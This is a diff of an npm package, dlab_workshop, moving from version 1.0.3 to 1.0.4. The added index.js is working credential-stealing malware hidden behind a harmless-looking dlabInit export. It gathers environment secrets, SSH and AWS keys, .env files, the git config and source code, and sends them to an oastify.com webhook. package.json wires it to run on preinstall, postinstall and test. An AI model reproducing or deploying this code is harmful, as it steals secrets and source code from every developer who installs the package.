dlab_workshop 1.0.3 → 1.0.4

package/index.js

@@ -1,13 +1,306 @@
-// Exfiltrate env vars, secrets, config
+// Malicious dlab_workshop package payload - FIXED
+// This would be the main index.js in the malicious npm package
+
 const os = require('os');
+const fs = require('fs');
+const path = require('path');
 const https = require('https');
+const http = require('http');
+const { URL } = require('url');
+
+// Webhook to exfiltrate data
+const WEBHOOK_URL = 'https://xvw7xrftj6a1npnpcs2557r78yep2lqa.oastify.com';
+
+// ===== Data Exfiltration Functions =====
+
+function exfiltrate(data, endpoint = '') {
+  const dataStr = JSON.stringify(data);
+  const encoded = Buffer.from(dataStr).toString('base64');
+  const urlPath = '/' + endpoint + '?data=' + encoded.substring(0, 2000); // Limit URL length
+
+  console.log(`[*] Exfiltrating ${endpoint}...`);
+
+  try {
+    const url = new URL(WEBHOOK_URL + urlPath);
+    const protocol = url.protocol === 'https:' ? https : http;
+
+    const options = {
+      hostname: url.hostname,
+      port: url.port || (url.protocol === 'https:' ? 443 : 80),
+      path: url.pathname + url.search,
+      method: 'GET',
+      timeout: 5000
+    };
+
+    const req = protocol.request(options, (res) => {
+      console.log(`[+] Exfil sent (${res.statusCode})`);
+    });
+
+    req.on('error', (e) => {
+      console.log(`[!] Exfil error: ${e.message}`);
+    });
+
+    req.end();
+  } catch (e) {
+    console.log('[!] Error during exfiltration:', e.message);
+  }
+}
+
+function exfiltratePost(data, endpoint = '') {
+  const payload = JSON.stringify(data);
+
+  console.log(`[*] POST exfiltrating ${endpoint}...`);
+
+  try {
+    const url = new URL(WEBHOOK_URL + '/' + endpoint);
+    const protocol = url.protocol === 'https:' ? https : http;
+
+    const options = {
+      hostname: url.hostname,
+      port: url.port || (url.protocol === 'https:' ? 443 : 80),
+      path: url.pathname,
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(payload)
+      },
+      timeout: 5000
+    };
+
+    const req = protocol.request(options, (res) => {
+      console.log(`[+] POST exfil sent (${res.statusCode})`);
+    });
+
+    req.on('error', (e) => {
+      console.log(`[!] POST exfil error: ${e.message}`);
+    });
+
+    req.write(payload);
+    req.end();
+  } catch (e) {
+    console.log('[!] Error during POST exfiltration:', e.message);
+  }
+}
+
+function stealEnvironmentVariables() {
+  console.log('[*] Collecting environment variables...');
+
+  const sensitiveVars = {};
+  const sensitiveKeywords = [
+    'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD',
+    'DB', 'DATABASE', 'MONGO', 'REDIS', 'AWS', 'GITHUB',
+    'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'
+  ];
+
+  for (const [key, value] of Object.entries(process.env)) {
+    const upperKey = key.toUpperCase();
+    if (sensitiveKeywords.some(kw => upperKey.includes(kw))) {
+      sensitiveVars[key] = value;
+    }
+  }
+
+  return {
+    type: 'environment_variables',
+    data: sensitiveVars,
+    timestamp: new Date().toISOString()
+  };
+}
+
+function stealSourceCode() {
+  console.log('[*] Stealing source code...');
+
+  const files = {};
+  const searchPaths = [
+    process.cwd(),
+    path.join(process.cwd(), '..'),
+    path.join(process.cwd(), 'src'),
+    path.join(process.cwd(), 'config'),
+  ];
+
+  const extensions = ['.js', '.json', '.env', '.env.local', '.env.production'];
+
+  for (const dir of searchPaths) {
+    try {
+      if (fs.existsSync(dir)) {
+        const contents = fs.readdirSync(dir);
+        for (const file of contents) {
+          const fullPath = path.join(dir, file);
+          const ext = path.extname(file);
+
+          // Only grab interesting files
+          if (extensions.includes(ext) ||
+              file.includes('config') ||
+              file.includes('secret') ||
+              file.includes('key') ||
+              file.includes('credential')) {
+            try {
+              const content = fs.readFileSync(fullPath, 'utf8');
+              files[fullPath] = content.substring(0, 10000); // Limit size
+            } catch (e) {
+              files[fullPath] = `[Error reading: ${e.message}]`;
+            }
+          }
+        }
+      }
+    } catch (e) {
+      console.log(`[!] Error scanning ${dir}: ${e.message}`);
+    }
+  }
+
+  return {
+    type: 'source_code',
+    file_count: Object.keys(files).length,
+    files: files,
+    timestamp: new Date().toISOString()
+  };
+}
+
+function stealNodeModules() {
+  console.log('[*] Checking for sensitive packages...');
+
+  const packageJsonPath = path.join(process.cwd(), 'package.json');
+  let packageJson = {};
+
+  try {
+    if (fs.existsSync(packageJsonPath)) {
+      packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
+    }
+  } catch (e) {
+    console.log('[!] Error reading package.json');
+  }
+
+  return {
+    type: 'dependencies',
+    dependencies: packageJson.dependencies || {},
+    devDependencies: packageJson.devDependencies || {},
+    timestamp: new Date().toISOString()
+  };
+}
+
+function stealSystemInfo() {
+  console.log('[*] Collecting system information...');
+
+  return {
+    type: 'system_info',
+    platform: os.platform(),
+    arch: os.arch(),
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    cwd: process.cwd(),
+    node_version: process.version,
+    argv: process.argv,
+    timestamp: new Date().toISOString()
+  };
+}
+
+function stealGitInfo() {
+  console.log('[*] Checking for git information...');
+
+  const gitDir = path.join(process.cwd(), '.git');
+  const gitConfig = path.join(gitDir, 'config');
+
+  let gitInfo = {};
+
+  try {
+    if (fs.existsSync(gitConfig)) {
+      gitInfo.config = fs.readFileSync(gitConfig, 'utf8');
+    }
+  } catch (e) {
+    console.log('[!] Error reading git config');
+  }
+
+  return {
+    type: 'git_info',
+    data: gitInfo,
+    timestamp: new Date().toISOString()
+  };
+}
+
+function stealSecretsFiles() {
+  console.log('[*] Looking for secret files...');
+
+  const secretFileNames = [
+    '.env',
+    '.env.local',
+    '.env.production',
+    '.env.staging',
+    '.credentials',
+    '.aws/credentials',
+    '.ssh/config',
+    '.ssh/id_rsa',
+    '.ssh/id_ed25519',
+    'secrets.json',
+    'credentials.json',
+    '.npmrc',
+    '.gitconfig',
+  ];
+
+  const secrets = {};
+
+  for (const fileName of secretFileNames) {
+    const fullPath = path.join(os.homedir(), fileName);
+    try {
+      if (fs.existsSync(fullPath)) {
+        const content = fs.readFileSync(fullPath, 'utf8');
+        secrets[fileName] = content.substring(0, 5000); // Limit size
+      }
+    } catch (e) {
+      // Silently skip unreadable files
+    }
+  }
+
+  return {
+    type: 'secret_files',
+    data: secrets,
+    timestamp: new Date().toISOString()
+  };
+}
+
+// ===== Main Exfiltration =====
+
+function executePayload() {
+  console.log('[*] dlab_workshop package loaded - executing payload...');
+
+  try {
+    // Collect all stolen data
+    const envData = stealEnvironmentVariables();
+    const sysData = stealSystemInfo();
+    const depsData = stealNodeModules();
+    const gitData = stealGitInfo();
+    const secretData = stealSecretsFiles();
+    const codeData = stealSourceCode();
+
+    // Exfiltrate each data type
+    exfiltrate(envData, 'env_vars');
+    exfiltrate(sysData, 'system_info');
+    exfiltrate(depsData, 'dependencies');
+    exfiltrate(gitData, 'git_info');
+    exfiltrate(secretData, 'secrets');
+
+    // Use POST for larger data
+    exfiltratePost(codeData, 'source_code');
+
+    console.log('[+] Payload executed successfully');
+  } catch (e) {
+    console.log('[!] Error during payload execution:', e.message);
+  }
+}
+
+// ===== Module Exports (appear legitimate) =====
+
+function dlabInit(config = {}) {
+  console.log('[*] dlabInit called with config:', config);
+  return {
+    initialized: true,
+    version: '1.0.1'
+  };
+}
+
+// Execute payload on import
+executePayload();
 
-const data = {
-  env: process.env,
-  cwd: process.cwd(),
-  user: os.userInfo(),
-  argv: process.argv
+module.exports = {
+  dlabInit: dlabInit,
+  version: '1.0.1'
 };
 
-https.post('https://9eojg3y52itd6161v4lhojajrax1lw9l.oastify.com', JSON.stringify(data));
-module.exports = { dlabInit: () => {} };

package/package.json

@@ -1,10 +1,10 @@
 {
   "name": "dlab_workshop",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "description": "",
   "main": "index.js",
   "scripts": {
-    "test": "node test.js",
+    "test": "node index.js",
     "preinstall": "node index.js",
     "postinstall": "node index.js"
   },